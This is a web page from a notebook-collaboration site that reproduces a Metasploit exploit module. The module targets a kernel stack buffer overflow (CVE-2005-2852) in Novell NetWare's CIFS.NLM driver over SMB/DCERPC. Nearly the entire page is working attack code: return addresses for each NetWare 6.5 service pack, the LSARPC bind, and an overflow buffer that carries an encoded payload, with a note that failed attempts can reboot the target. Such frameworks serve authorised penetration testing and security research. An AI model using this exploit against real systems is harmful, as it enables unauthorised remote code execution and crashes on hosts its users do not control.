Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/netware/smb/lsass_cifs.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::SMB::Client101112def initialize(info = {})13super(update_info(info,14'Name' => 'Novell NetWare LSASS CIFS.NLM Driver Stack Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in the NetWare CIFS.NLM driver.17Since the driver runs in the kernel space, a failed exploit attempt can18cause the OS to reboot.19},20'Author' =>21[22'toto',23],24'License' => MSF_LICENSE,25'References' =>26[27[ 'CVE', '2005-2852' ],28[ 'OSVDB', '12790' ]29],30'Privileged' => true,31'Payload' =>32{33'Space' => 400,34'BadChars' => "\x00",35},36'Platform' => 'netware',37'Targets' =>38[39# NetWare SP can be found in the SNMP version :40# 5.70.07 -> NetWare 6.5 (5.70) SP7 (07)4142[ 'VMware', { 'Ret' => 0x000f142b } ],43[ 'NetWare 6.5 SP2', { 'Ret' => 0xb2329b98 } ], # push esp - ret (libc.nlm)44[ 'NetWare 6.5 SP3', { 'Ret' => 0xb234a268 } ], # push esp - ret (libc.nlm)45[ 'NetWare 6.5 SP4', { 'Ret' => 0xbabc286c } ], # push esp - ret (libc.nlm)46[ 'NetWare 6.5 SP5', { 'Ret' => 0xbabc9c3c } ], # push esp - ret (libc.nlm)47[ 'NetWare 6.5 SP6', { 'Ret' => 0x823c835c } ], # push esp - ret (libc.nlm)48[ 'NetWare 6.5 SP7', { 'Ret' => 0x823c83fc } ], # push esp - ret (libc.nlm)49],5051'DisclosureDate' => '2007-01-21'))5253register_options(54[55OptString.new('SMBPIPE', [ true, "The pipe name to use (LSARPC)", 'lsarpc'])56])5758end5960def exploit6162# Force multi-bind off (netware doesn't support it)63datastore['DCERPC::fake_bind_multi'] = false6465connect()66smb_login()6768handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])6970print_status("Binding to #{handle} ...")71dcerpc_bind(handle)72print_status("Bound to #{handle} ...")7374stb =75NDR.long(rand(0xffffffff)) +76NDR.UnicodeConformantVaryingString("\\\\#{datastore['RHOST']}") +77NDR.long(0) +78NDR.long(0) +79NDR.long(0) +80NDR.long(0) +81NDR.long(0) +82NDR.long(0) +83NDR.long(0x000f0fff)8485resp = dcerpc.call(0x2c, stb)86handle, = resp[0,20]87code, = resp[20, 4].unpack('V')8889name =90rand_text_alphanumeric(0xa0) +91[target.ret].pack('V') +92payload.encoded9394stb =95handle +96NDR.long(1) +97NDR.long(1) +9899NDR.short(name.length) +100NDR.short(name.length) +101NDR.long(rand(0xffffffff)) +102103NDR.UnicodeConformantVaryingStringPreBuilt(name) +104105NDR.long(0) +106NDR.long(0) +107NDR.long(1) +108NDR.long(0)109110print_status("Calling the vulnerable function ...")111112begin113dcerpc.call(0x0E, stb)114rescue115end116117# Cleanup118handler119disconnect120end121end122123124